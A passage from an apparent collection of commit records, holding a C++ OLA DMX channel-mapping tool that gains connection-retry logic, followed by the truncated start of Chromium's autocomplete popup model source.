u_output;\n universe_channel_count = u_channel_count;\n universe_rescale_max = u_rescale_max;\n std::cout << \"universe_in_start_address: \" << universe_in_start_address << std::endl;\n std::cout << \"universe_in: \" << universe_in << std::endl;\n std::cout << \"universe_out: \" << universe_out << std::endl;\n std::cout << \"universe_channel_count: \" << universe_channel_count << std::endl;\n std::cout << \"universe_rescale_max: \" << universe_rescale_max << std::endl;\n\n\n } else {\n std::cout\n << \"Error in Config Format: 'universe' section not found.\"\n << std::endl;\n }\n}\n\n\/\/ void read_config_from_file(std::string filename) {\nvoid read_config_from_file() {\n \/\/ std::string filename = \"my_map.config\";\n std::ifstream myfile(\".\/map.json\");\n if (myfile.is_open()) {\n std::string line;\n std::string raw_input;\n \/\/ read in all lines and combine theme.\n while ( std::getline(myfile, line) ) {\n std::cout << line << std::endl;\n raw_input += line;\n }\n myfile.close();\n std::cout << std::endl;\n std::cout << std::endl;\n\n \/\/ ------------------------------------------\n \/\/ now we can parse the input\n \/\/ std::cout << \"raw_input: '\" << raw_input << \"'\" << std::endl;\n\n \/\/ search and extract map\n std::cout << \"parse_config_map..\"<< std::endl;\n parse_config_map(raw_input);\n\n \/\/ search and extract universe information\n std::cout << \"parse_config_universe..\"<< std::endl;\n parse_config_universe(raw_input);\n\n std::cout << \"parsing done.\"<< std::endl;\n\n } else {\n std::cout << \"Unable to open file.\"<< std::endl;\n }\n}\n\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ helper\n\nvoid rescale_channels() {\n for (\n size_t channel_output_index = 0;\n channel_output_index < universe_channel_count;\n channel_output_index = channel_output_index +2\n ) {\n uint8_t value_h = 0;\n uint8_t value_l = 0;\n uint16_t value = 0;\n\n \/\/ get channel values\n value_h = channels_out.Get(channel_output_index);\n value_l = channels_out.Get(channel_output_index+1);\n\n \/\/ combine to 16bit value\n value = (value_h << 8) | value_l;\n\n \/\/ rescale:\n uint32_t value_calc = value * universe_rescale_max;\n value = value_calc \/ 65535;\n\n \/\/ splitt to 8itt values\n value_h = value >> 8;\n value_l = value;\n\n \/\/ set channel values\n channels_out.SetChannel(\n channel_output_index,\n value_h\n );\n channels_out.SetChannel(\n channel_output_index+1,\n value_l\n );\n }\n}\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ mapping\n\n\/\/ map data to new channels and send frame\nvoid map_channels(const ola::DmxBuffer &data) {\n for (\n size_t channel_output_index = 0;\n channel_output_index < universe_channel_count;\n channel_output_index++\n ) {\n int map_value = my_map[channel_output_index];\n \/\/ check if map_value is\n if (map_value > -1) {\n \/\/ check if map_value is in range of input channels\n if (map_value < (int)data.Size()) {\n channels_out.SetChannel(\n channel_output_index,\n data.Get(map_value));\n }\n }\n }\n rescale_channels();\n \/\/ std::cout << \"Send frame: \" << std::endl << channels_out << std::endl;\n wrapper.GetClient()->SendDMX(\n universe_out,\n channels_out,\n ola::client::SendDMXArgs());\n}\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ ola things\n\n\/\/ Called when universe registration completes.\nvoid RegisterComplete(const ola::client::Result& result) {\n if (!result.Success()) {\n OLA_WARN << \"Failed to register universe: \" << result.Error();\n }\n}\n\n\/\/ Called when new DMX data arrives.\nvoid dmx_receive_frame(const ola::client::DMXMetadata &metadata,\n const ola::DmxBuffer &data) {\n \/\/ std::cout << \"Received \" << data.Size()\n \/\/ << \" channels for universe \" << metadata.universe\n \/\/ << \", priority \" << static_cast<int>(metadata.priority)\n \/\/ << std::endl;\n map_channels(data);\n}\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ ola state helper\n\nvoid ola_connection_closed(ola::io::SelectServer *ss) {\n std::cerr << \"Connection to olad was closed\" << std::endl;\n ss->Terminate();\n system_state = state_waiting;\n}\n\nvoid ola_waiting_for_connection() {\n bool flag_connected = false;\n try {\n std::cout << \"try wrapper.Setup() \" << std::endl;\n bool available = wrapper.Setup();\n std::cout << \"available: \" << available << std::endl;\n if (available) {\n flag_connected = true;\n }\n }\n \/\/ catch (const std::exception &exc) {\n \/\/ \/\/ catch anything thrown that derives from std::exception\n \/\/ std::cerr << exc.what();\n \/\/ std::cout << \"error!!: \" << exc.what() << std::endl;\n \/\/ }\n catch (...) {\n \/\/ catch all\n \/\/ sleep microseconds\n \/\/ usleep(500000);\n std::cout << \"error!!: \" << std::endl;\n }\n \/\/ }\n\n if (flag_connected) {\n client = wrapper.GetClient();\n system_state = state_connected;\n }\n}\n\nvoid ola_setup() {\n client->SetCloseHandler(\n ola::NewSingleCallback(\n ola_connection_closed,\n wrapper.GetSelectServer() ));\n\n \/\/ clean channels_out buffer\n channels_out.Blackout();\n\n \/\/ Set the callback and register our interest in this universe\n client->SetDMXCallback(ola::NewCallback(&dmx_receive_frame));\n client->RegisterUniverse(\n universe_in,\n ola::client::REGISTER,\n ola::NewSingleCallback(&RegisterComplete));\n std::cout << \"map incoming channels.\" << std::endl;\n\n system_state = state_running;\n}\n\nvoid ola_run() {\n \/\/ this call blocks:\n wrapper.GetSelectServer()->Run();\n \/\/ if this exits we switch back to waiting state:\n std::cout << \"map incoming channels.\" << std::endl;\n system_state = state_waiting;\n}\n\nvoid ola_statemaschine() {\n switch (system_state) {\n case state_undefined : {\n system_state = state_waiting;\n } break;\n case state_standby : {\n system_state = state_waiting;\n } break;\n case state_waiting : {\n ola_waiting_for_connection();\n } break;\n case state_connected : {\n ola_setup();\n } break;\n case state_running : {\n \/\/ attention! blocks untill error..\n ola_run();\n } break;\n } \/\/ end switch\n}\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ main\n\nint main() {\n ola::InitLogging(ola::OLA_LOG_INFO, ola::OLA_LOG_STDERR);\n \/\/ read map from file:\n \/\/ read_config_from_file(\"my_map.config\");\n read_config_from_file();\n\n \/\/ while (flag_run) {\n \/\/ ola_statemaschine()\n \/\/ }\n\n \/\/ manual cycle\n std::cout << \"ola_waiting_for_connection()\" << std::endl;\n ola_waiting_for_connection();\n std::cout << \"ola_setup()\" << std::endl;\n ola_setup();\n std::cout << \"ola_run()\" << std::endl;\n ola_run();\n\n}\n<commit_msg>initial wait works. now get the rewaiting to work...<commit_after>\/\/ Copyright (c) 2016 Stefan Krüger\n\/\/ released under MIT (see LICENSE for details)\n\n\/\/ based on example from\n\/\/ http:\/\/docs.openlighting.org\/ola\/doc\/latest\/dmx_cpp_client_tutorial.html\n\n\/\/ build for local:\n\/\/ g++ -std=c++11 olamapper.cpp -o olamapper.out $(pkg-config --cflags --libs libola)\n\n\n\n#include <ola\/DmxBuffer.h>\n#include <ola\/Logging.h>\n#include <ola\/client\/ClientWrapper.h>\n#include <ola\/io\/SelectServer.h>\n\n#include <unistd.h>\n#include <string>\n#include <iostream>\n#include <fstream>\n\nuint16_t universe_in = 1;\nuint16_t universe_in_start_address = 1;\nuint16_t universe_out = 2;\nuint16_t universe_channel_count = 240;\nuint16_t universe_rescale_max = 60000;\nstatic const uint16_t channel_count_MAX = 512;\n\nola::client::OlaClientWrapper wrapper(false);\nola::client::OlaClient *client;\nola::DmxBuffer channels_out;\n\nint my_map[channel_count_MAX];\n\n\nenum ola_state_t {\n state_undefined,\n state_standby,\n state_waiting,\n state_connected,\n state_running,\n};\n\nola_state_t system_state = state_undefined;\n\nbool flag_run = true;\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ configuration things\n\nvoid parse_config_channels(std::string raw_channels) {\n \/\/ get part between []\n size_t start = raw_channels.find('[');\n size_t end = raw_channels.find(']');\n raw_channels = raw_channels.substr(start+1, (end-1)-start);\n \/\/ std::cout << \"raw_channels: '\" << raw_channels << \"'\" << std::endl;\n \/\/ split at every ', '\n start = 0;\n end = 0;\n size_t map_index = 0;\n while ( (end = raw_channels.find(\", \", start)) != std::string::npos ) {\n std::string element = raw_channels.substr(start, end - start);\n start = end + 1;\n \/\/ std::cout << element << std::endl;\n \/\/ now we can convert the element string to a int\n int value;\n value = std::stoi(element);\n my_map[map_index] = value;\n map_index += 1;\n \/\/ std::cout << value << std::endl;\n }\n \/\/ handle last element\n std::string element = raw_channels.substr(start);\n int value;\n value = std::stoi(element);\n my_map[map_index] = value;\n map_index += 1;\n \/\/ std::cout << value << std::endl;\n \/\/ std::cout << map_index << std::endl;\n \/\/ std::cout << my_map << std::endl;\n}\n\nvoid parse_config_map(std::string raw_input) {\n \/\/ find \"map\": { \"channels\": [....]}\n size_t start = std::string::npos;\n start = raw_input.find(\"\\\"map\\\"\");\n \/\/ std::cout << \"map start: '\" << start << \"'\" << std::endl;\n if (start != std::string::npos) {\n \/\/ std::cout << \"map found.\" << std::endl;\n size_t start_channels = raw_input.find(\"\\\"channels\\\"\", start);\n \/\/ std::cout << \"channels start: '\" << start_channels << \"'\" << std::endl;\n if (start_channels != std::string::npos) {\n \/\/ std::cout << \"channels found.\" << std::endl;\n size_t end = raw_input.find('}', start_channels);\n if (end != std::string::npos) {\n \/\/ std::cout << \"channels end found.\" << std::endl;\n std::string channels_list = raw_input.substr(start+1, (end-1)-start);\n \/\/ std::cout << \"channels_list: '\" << channels_list << \"'\" << std::endl;\n parse_config_channels(channels_list);\n } else {\n std::cout\n << \"Error in Config Format: 'channels' section end not found.\"\n << std::endl;\n }\n } else {\n std::cout\n << \"Error in Config Format: 'channels' section not found.\"\n << std::endl;\n }\n } else {\n std::cout\n << \"Error in Config Format: 'map' section not found.\"\n << std::endl;\n }\n}\n\nint parse_value(std::string raw_input, std::string key_name) {\n size_t start = std::string::npos;\n size_t end = std::string::npos;\n std::string value_raw;\n int value = -1;\n\n start = raw_input.find(\"\\\"\" + key_name + \"\\\"\");\n \/\/ std::cout << \"start: '\" << start << \"'\" << std::endl;\n if (start != std::string::npos) {\n end = raw_input.find_first_of(\",}\", start);\n if (end != std::string::npos) {\n \/\/ start + \" + key_name + \" + :\n size_t value_content_start = start + 1 + key_name.length() + 1 + 1;\n value_raw = raw_input.substr(\n value_content_start,\n (end)-value_content_start);\n \/\/ std::cout << \"value_raw: '\" << value_raw << \"'\" << std::endl;\n \/\/ now we can convert the element string to a int\n value = std::stoi(value_raw);\n } else {\n std::cout\n << \"Error in Config Format: '\"\n << key_name\n << \"' value end not found.\"\n << std::endl;\n }\n } else {\n std::cout\n << \"Error in Config Format: '\"\n << key_name\n << \"' value not found.\"\n << std::endl;\n }\n\n return value;\n}\n\nvoid parse_config_universe(std::string raw_input) {\n \/\/ find \"universe\": { }\n \/\/ std::cout << \"raw_input: '\" << raw_input << \"'\" << std::endl;\n std::string key_name = \"universe\";\n size_t start_section = raw_input.find(\"\\\"\"+key_name+\"\\\"\");\n \/\/ std::cout << \"start_section: '\" << start_section << \"'\" << std::endl;\n if (start_section != std::string::npos) {\n size_t section_content_start = start_section + 1 + key_name.length();\n std::string section_content = raw_input.substr(\n section_content_start);\n \/\/ find 'start_address'\n uint16_t u_start_address = parse_value(section_content, \"start_address\");\n \/\/ find 'channel_count'\n uint16_t u_channel_count = parse_value(section_content, \"channel_count\");\n \/\/ find 'input'\n uint16_t u_input = parse_value(section_content, \"input\");\n \/\/ find 'output'\n uint16_t u_output = parse_value(section_content, \"output\");\n \/\/ find 'rescale_max'\n uint16_t u_rescale_max = parse_value(section_content, \"rescale_max\");\n \/\/ done\n std::cout << \"start_address: \" << u_start_address << std::endl;\n std::cout << \"input: \" << u_input << std::endl;\n std::cout << \"output: \" << u_output << std::endl;\n std::cout << \"channel_count: \" << u_channel_count << std::endl;\n std::cout << \"rescale_max: \" << u_rescale_max << std::endl;\n universe_in_start_address = u_start_address;\n universe_in = u_input;\n universe_out = u_output;\n universe_channel_count = u_channel_count;\n universe_rescale_max = u_rescale_max;\n std::cout << \"universe_in_start_address: \" << universe_in_start_address << std::endl;\n std::cout << \"universe_in: \" << universe_in << std::endl;\n std::cout << \"universe_out: \" << universe_out << std::endl;\n std::cout << \"universe_channel_count: \" << universe_channel_count << std::endl;\n std::cout << \"universe_rescale_max: \" << universe_rescale_max << std::endl;\n\n\n } else {\n std::cout\n << \"Error in Config Format: 'universe' section not found.\"\n << std::endl;\n }\n}\n\n\/\/ void read_config_from_file(std::string filename) {\nvoid read_config_from_file() {\n \/\/ std::string filename = \"my_map.config\";\n std::ifstream myfile(\".\/map.json\");\n if (myfile.is_open()) {\n std::string line;\n std::string raw_input;\n \/\/ read in all lines and combine theme.\n while ( std::getline(myfile, line) ) {\n std::cout << line << std::endl;\n raw_input += line;\n }\n myfile.close();\n std::cout << std::endl;\n std::cout << std::endl;\n\n \/\/ ------------------------------------------\n \/\/ now we can parse the input\n \/\/ std::cout << \"raw_input: '\" << raw_input << \"'\" << std::endl;\n\n \/\/ search and extract map\n std::cout << \"parse_config_map..\"<< std::endl;\n parse_config_map(raw_input);\n\n \/\/ search and extract universe information\n std::cout << \"parse_config_universe..\"<< std::endl;\n parse_config_universe(raw_input);\n\n std::cout << \"parsing done.\"<< std::endl;\n\n } else {\n std::cout << \"Unable to open file.\"<< std::endl;\n }\n}\n\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ helper\n\nvoid rescale_channels() {\n for (\n size_t channel_output_index = 0;\n channel_output_index < universe_channel_count;\n channel_output_index = channel_output_index +2\n ) {\n uint8_t value_h = 0;\n uint8_t value_l = 0;\n uint16_t value = 0;\n\n \/\/ get channel values\n value_h = channels_out.Get(channel_output_index);\n value_l = channels_out.Get(channel_output_index+1);\n\n \/\/ combine to 16bit value\n value = (value_h << 8) | value_l;\n\n \/\/ rescale:\n uint32_t value_calc = value * universe_rescale_max;\n value = value_calc \/ 65535;\n\n \/\/ splitt to 8itt values\n value_h = value >> 8;\n value_l = value;\n\n \/\/ set channel values\n channels_out.SetChannel(\n channel_output_index,\n value_h\n );\n channels_out.SetChannel(\n channel_output_index+1,\n value_l\n );\n }\n}\n\n\n\/\/ helper for delay:\n\/\/ http:\/\/www.cplusplus.com\/forum\/unices\/10491\/#msg49054\n#if defined(__WIN32__) || defined(_WIN32) || defined(WIN32) || defined(__WINDOWS__) || defined(__TOS_WIN__)\n\n #include <windows.h>\n\n inline void delay( unsigned long ms )\n {\n Sleep( ms );\n }\n\n#else \/* presume POSIX *\/\n\n #include <unistd.h>\n\n inline void delay( unsigned long ms )\n {\n usleep( ms * 1000 );\n }\n\n#endif\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ mapping\n\n\/\/ map data to new channels and send frame\nvoid map_channels(const ola::DmxBuffer &data) {\n for (\n size_t channel_output_index = 0;\n channel_output_index < universe_channel_count;\n channel_output_index++\n ) {\n int map_value = my_map[channel_output_index];\n \/\/ check if map_value is\n if (map_value > -1) {\n \/\/ check if map_value is in range of input channels\n if (map_value < (int)data.Size()) {\n channels_out.SetChannel(\n channel_output_index,\n data.Get(map_value));\n }\n }\n }\n rescale_channels();\n \/\/ std::cout << \"Send frame: \" << std::endl << channels_out << std::endl;\n wrapper.GetClient()->SendDMX(\n universe_out,\n channels_out,\n ola::client::SendDMXArgs());\n}\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ ola things\n\n\/\/ Called when universe registration completes.\nvoid RegisterComplete(const ola::client::Result& result) {\n if (!result.Success()) {\n OLA_WARN << \"Failed to register universe: \" << result.Error();\n }\n}\n\n\/\/ Called when new DMX data arrives.\nvoid dmx_receive_frame(const ola::client::DMXMetadata &metadata,\n const ola::DmxBuffer &data) {\n \/\/ std::cout << \"Received \" << data.Size()\n \/\/ << \" channels for universe \" << metadata.universe\n \/\/ << \", priority \" << static_cast<int>(metadata.priority)\n \/\/ << std::endl;\n map_channels(data);\n}\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ ola state helper\n\nvoid ola_connection_closed(ola::io::SelectServer *ss) {\n std::cerr << \"Connection to olad was closed\" << std::endl;\n \/\/ system_state = state_waiting;\n \/\/ stop SelectServer\n ss->Terminate();\n}\n\nvoid ola_waiting_for_connection() {\n bool flag_connected = false;\n \/\/ try {\n \/\/ std::cout << \"try wrapper.Setup() \" << std::endl;\n bool available = wrapper.Setup();\n \/\/ std::cout << \"available: \" << available << std::endl;\n if (available) {\n flag_connected = true;\n } else {\n \/\/ wait 500ms till next request\n delay(500);\n }\n \/\/ }\n \/\/ catch (const std::exception &exc) {\n \/\/ \/\/ catch anything thrown that derives from std::exception\n \/\/ std::cerr << exc.what();\n \/\/ std::cout << \"error!!: \" << exc.what() << std::endl;\n \/\/ }\n \/\/ catch (...) {\n \/\/ \/\/ catch all\n \/\/ \/\/ sleep microseconds\n \/\/ \/\/ usleep(500000);\n \/\/ std::cout << \"error!!: \" << std::endl;\n \/\/ }\n \/\/ }\n std::cout << \"flag_connected: \" << flag_connected << std::endl;\n if (flag_connected) {\n \/\/ std::cout << \"GetClient: \" << std::endl;\n client = wrapper.GetClient();\n \/\/ std::cout << \"switch to state_connected.\" << std::endl;\n system_state = state_connected;\n }\n}\n\nvoid ola_setup() {\n client->SetCloseHandler(\n ola::NewSingleCallback(\n ola_connection_closed,\n wrapper.GetSelectServer() ));\n\n \/\/ clean channels_out buffer\n channels_out.Blackout();\n\n \/\/ Set the callback and register our interest in this universe\n client->SetDMXCallback(ola::NewCallback(&dmx_receive_frame));\n client->RegisterUniverse(\n universe_in,\n ola::client::REGISTER,\n ola::NewSingleCallback(&RegisterComplete));\n std::cout << \"map incoming channels.\" << std::endl;\n\n system_state = state_running;\n}\n\nvoid ola_run() {\n \/\/ this call blocks:\n wrapper.GetSelectServer()->Run();\n \/\/ if this exits we switch back to waiting state:\n std::cout << \"SelectServer exited.\" << std::endl;\n std::cout << \"wrapper.Cleanup()\" << std::endl;\n wrapper.Cleanup();\n \/\/ std::cout << \"wrapper\" << std::endl;\n std::cout << \"switching to state_waiting\" << std::endl;\n system_state = state_waiting;\n}\n\nvoid ola_statemaschine() {\n switch (system_state) {\n case state_undefined : {\n system_state = state_waiting;\n } break;\n case state_standby : {\n system_state = state_waiting;\n } break;\n case state_waiting : {\n ola_waiting_for_connection();\n } break;\n case state_connected : {\n ola_setup();\n } break;\n case state_running : {\n \/\/ attention! blocks untill error..\n ola_run();\n } break;\n } \/\/ end switch\n}\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ main\n\nint main() {\n ola::InitLogging(ola::OLA_LOG_INFO, ola::OLA_LOG_STDERR);\n \/\/ read map from file:\n \/\/ read_config_from_file(\"my_map.config\");\n read_config_from_file();\n\n bool flag_run = true;\n\n while (flag_run) {\n ola_statemaschine();\n }\n\n \/\/ manual cycle\n \/\/ std::cout << \"ola_waiting_for_connection()\" << std::endl;\n \/\/ ola_waiting_for_connection();\n \/\/ std::cout << \"ola_setup()\" << std::endl;\n \/\/ ola_setup();\n \/\/ std::cout << \"ola_run()\" << std::endl;\n \/\/ ola_run();\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/autocomplete\/autocomplete_popup_model.h\"\n\n#include \"unicode\/ubidi.h\"\n\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_edit.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_match.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_popup_view.h\"\n#include \"chrome\/browser\/autocomplete\/search_provider.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/extensions\/extensions_service.h\"\n#include \"chrome\/browser\/search_engines\/template_url.h\"\n#include \"chrome\/browser\/search_engines\/template_url_model.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"gfx\/rect.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ AutocompletePopupModel\n\nAutocompletePopupModel::AutocompletePopupModel(\n AutocompletePopupView* popup_view,\n AutocompleteEditModel* edit_model,\n Profile* profile)\n : view_(popup_view),\n edit_model_(edit_model),\n controller_(new AutocompleteController(profile)),\n profile_(profile),\n hovered_line_(kNoMatch),\n selected_line_(kNoMatch) {\n registrar_.Add(this, NotificationType::AUTOCOMPLETE_CONTROLLER_RESULT_UPDATED,\n Source<AutocompleteController>(controller_.get()));\n}\n\nAutocompletePopupModel::~AutocompletePopupModel() {\n}\n\nvoid AutocompletePopupModel::SetProfile(Profile* profile) {\n DCHECK(profile);\n profile_ = profile;\n controller_->SetProfile(profile);\n}\n\nvoid AutocompletePopupModel::StartAutocomplete(\n const std::wstring& text,\n const std::wstring& desired_tld,\n bool prevent_inline_autocomplete,\n bool prefer_keyword) {\n \/\/ The user is interacting with the edit, so stop tracking hover.\n SetHoveredLine(kNoMatch);\n\n manually_selected_match_.Clear();\n\n controller_->Start(text, desired_tld, prevent_inline_autocomplete,\n prefer_keyword, true, false);\n}\n\nvoid AutocompletePopupModel::StopAutocomplete() {\n controller_->Stop(true);\n}\n\nbool AutocompletePopupModel::IsOpen() const {\n return view_->IsOpen();\n}\n\nvoid AutocompletePopupModel::SetHoveredLine(size_t line) {\n const bool is_disabling = (line == kNoMatch);\n DCHECK(is_disabling || (line < controller_->result().size()));\n\n if (line == hovered_line_)\n return; \/\/ Nothing to do\n\n \/\/ Make sure the old hovered line is redrawn. No need to redraw the selected\n \/\/ line since selection overrides hover so the appearance won't change.\n if ((hovered_line_ != kNoMatch) && (hovered_line_ != selected_line_))\n view_->InvalidateLine(hovered_line_);\n\n \/\/ Change the hover to the new line.\n hovered_line_ = line;\n if (!is_disabling && (hovered_line_ != selected_line_))\n view_->InvalidateLine(hovered_line_);\n}\n\nvoid AutocompletePopupModel::SetSelectedLine(size_t line,\n bool reset_to_default) {\n \/\/ We should at least be dealing with the results of the current query. Note\n \/\/ that even if |line| was valid on entry, this may make it invalid. We clamp\n \/\/ it below.\n controller_->CommitIfQueryHasNeverBeenCommitted();\n\n const AutocompleteResult& result = controller_->result();\n if (result.empty())\n return;\n\n \/\/ Cancel the query so the matches don't change on the user.\n controller_->Stop(false);\n\n line = std::min(line, result.size() - 1);\n const AutocompleteMatch& match = result.match_at(line);\n if (reset_to_default) {\n manually_selected_match_.Clear();\n } else {\n \/\/ Track the user's selection until they cancel it.\n manually_selected_match_.destination_url = match.destination_url;\n manually_selected_match_.provider_affinity = match.provider;\n manually_selected_match_.is_history_what_you_typed_match =\n match.is_history_what_you_typed_match;\n }\n\n if (line == selected_line_)\n return; \/\/ Nothing else to do.\n\n \/\/ We need to update |selected_line_| before calling OnPopupDataChanged(), so\n \/\/ that when the edit notifies its controller that something has changed, the\n \/\/ controller can get the correct updated data.\n \/\/\n \/\/ NOTE: We should never reach here with no selected line; the same code that\n \/\/ opened the popup and made it possible to get here should have also set a\n \/\/ selected line.\n CHECK(selected_line_ != kNoMatch);\n GURL current_destination(result.match_at(selected_line_).destination_url);\n view_->InvalidateLine(selected_line_);\n selected_line_ = line;\n view_->InvalidateLine(selected_line_);\n\n \/\/ Update the edit with the new data for this match.\n \/\/ TODO(pkasting): If |selected_line_| moves to the controller, this can be\n \/\/ eliminated and just become a call to the observer on the edit.\n std::wstring keyword;\n const bool is_keyword_hint = GetKeywordForMatch(match, &keyword);\n if (reset_to_default) {\n std::wstring inline_autocomplete_text;\n if ((match.inline_autocomplete_offset != std::wstring::npos) &&\n (match.inline_autocomplete_offset < match.fill_into_edit.length())) {\n inline_autocomplete_text =\n match.fill_into_edit.substr(match.inline_autocomplete_offset);\n }\n edit_model_->OnPopupDataChanged(inline_autocomplete_text, NULL,\n keyword, is_keyword_hint);\n } else {\n edit_model_->OnPopupDataChanged(match.fill_into_edit, ¤t_destination,\n keyword, is_keyword_hint);\n }\n\n \/\/ Repaint old and new selected lines immediately, so that the edit doesn't\n \/\/ appear to update [much] faster than the popup.\n view_->PaintUpdatesNow();\n}\n\nvoid AutocompletePopupModel::ResetToDefaultMatch() {\n const AutocompleteResult& result = controller_->result();\n CHECK(!result.empty());\n SetSelectedLine(result.default_match() - result.begin(), true);\n view_->OnDragCanceled();\n}\n\nvoid AutocompletePopupModel::InfoForCurrentSelection(\n AutocompleteMatch* match,\n GURL* alternate_nav_url) const {\n DCHECK(match != NULL);\n const AutocompleteResult* result;\n if (!controller_->done()) {\n \/\/ NOTE: Using latest_result() is important here since not only could it\n \/\/ contain newer results than result() for the current query, it could even\n \/\/ refer to an entirely different query (e.g. if the user is typing rapidly\n \/\/ and the controller is purposefully delaying updates to avoid flicker).\n result = &controller_->latest_result();\n \/\/ It's technically possible for |result| to be empty if no provider returns\n \/\/ a synchronous result but the query has not completed synchronously;\n \/\/ pratically, however, that should never actually happen.\n if (result->empty())\n return;\n \/\/ The user cannot have manually selected a match, or the query would have\n \/\/ stopped. So the default match must be the desired selection.\n *match = *result->default_match();\n } else {\n CHECK(IsOpen());\n \/\/ The query isn't running, so the standard result set can't possibly be out\n \/\/ of date.\n \/\/\n \/\/ NOTE: In practice, it should actually be safe to use\n \/\/ controller_->latest_result() here too, since the controller keeps that\n \/\/ up-to-date. However we generally try to avoid referring to that.\n result = &controller_->result();\n \/\/ If there are no results, the popup should be closed (so we should have\n \/\/ failed the CHECK above), and URLsForDefaultMatch() should have been\n \/\/ called instead.\n CHECK(!result->empty());\n CHECK(selected_line_ < result->size());\n *match = result->match_at(selected_line_);\n }\n if (alternate_nav_url && manually_selected_match_.empty())\n *alternate_nav_url = result->alternate_nav_url();\n}\n\nbool AutocompletePopupModel::GetKeywordForMatch(const AutocompleteMatch& match,\n std::wstring* keyword) const {\n \/\/ Assume we have no keyword until we find otherwise.\n keyword->clear();\n\n \/\/ If the current match is a keyword, return that as the selected keyword.\n if (TemplateURL::SupportsReplacement(match.template_url)) {\n keyword->assign(match.template_url->keyword());\n return false;\n }\n\n \/\/ See if the current match's fill_into_edit corresponds to a keyword.\n if (!profile_->GetTemplateURLModel())\n return false;\n profile_->GetTemplateURLModel()->Load();\n const std::wstring keyword_hint(\n TemplateURLModel::CleanUserInputKeyword(match.fill_into_edit));\n if (keyword_hint.empty())\n return false;\n\n \/\/ Don't provide a hint if this keyword doesn't support replacement.\n const TemplateURL* const template_url =\n profile_->GetTemplateURLModel()->GetTemplateURLForKeyword(keyword_hint);\n if (!TemplateURL::SupportsReplacement(template_url))\n return false;\n\n \/\/ Don't provide a hint if this is an extension keyword not enabled for\n \/\/ incognito mode (and if this is an incognito profile).\n if (template_url->IsExtensionKeyword() && profile_->IsOffTheRecord()) {\n const Extension* extension = profile_->GetExtensionsService()->\n GetExtensionById(template_url->GetExtensionId(), false);\n if (!profile_->GetExtensionsService()->IsIncognitoEnabled(extension))\n return false;\n }\n\n keyword->assign(keyword_hint);\n return true;\n}\n\nvoid AutocompletePopupModel::FinalizeInstantQuery(const std::wstring& text) {\n if (IsOpen()) {\n SearchProvider* search_provider = controller_->search_provider();\n search_provider->FinalizeInstantQuery(text);\n }\n}\n\nAutocompleteLog* AutocompletePopupModel::GetAutocompleteLog() {\n return new AutocompleteLog(controller_->input().text(),\n controller_->input().type(), selected_line_, 0, controller_->result());\n}\n\nvoid AutocompletePopupModel::Move(int count) {\n const AutocompleteResult& result = controller_->result();\n if (result.empty())\n return;\n\n \/\/ The user is using the keyboard to change the selection, so stop tracking\n \/\/ hover.\n SetHoveredLine(kNoMatch);\n\n \/\/ Clamp the new line to [0, result_.count() - 1].\n const size_t new_line = selected_line_ + count;\n SetSelectedLine(((count < 0) && (new_line >= selected_line_)) ? 0 : new_line,\n false);\n}\n\nvoid AutocompletePopupModel::TryDeletingCurrentItem() {\n \/\/ We could use InfoForCurrentSelection() here, but it seems better to try\n \/\/ and shift-delete the actual selection, rather than any \"in progress, not\n \/\/ yet visible\" one.\n if (selected_line_ == kNoMatch)\n return;\n\n \/\/ Cancel the query so the matches don't change on the user.\n controller_->Stop(false);\n\n const AutocompleteMatch& match =\n controller_->result().match_at(selected_line_);\n if (match.deletable) {\n const size_t selected_line = selected_line_;\n controller_->DeleteMatch(match); \/\/ This may synchronously notify us that\n \/\/ the results have changed.\n const AutocompleteResult& result = controller_->result();\n if (!result.empty()) {\n \/\/ Move the selection to the next choice after the deleted one.\n \/\/ SetSelectedLine() will clamp to take care of the case where we deleted\n \/\/ the last item.\n \/\/ TODO(pkasting): Eventually the controller should take care of this\n \/\/ before notifying us, reducing flicker. At that point the check for\n \/\/ deletability can move there too.\n SetSelectedLine(selected_line, false);\n }\n }\n}\n\nvoid AutocompletePopupModel::Observe(NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n DCHECK_EQ(NotificationType::AUTOCOMPLETE_CONTROLLER_RESULT_UPDATED,\n type.value);\n\n const AutocompleteResult* result =\n Details<const AutocompleteResult>(details).ptr();\n selected_line_ = result->default_match() == result->end() ?\n kNoMatch : static_cast<size_t>(result->default_match() - result->begin());\n \/\/ There had better not be a nonempty result set with no default match.\n CHECK((selected_line_ != kNoMatch) || result->empty());\n \/\/ If we're going to trim the window size to no longer include the hovered\n \/\/ line, turn hover off. Practically, this shouldn't happen, but it\n \/\/ doesn't hurt to be defensive.\n if 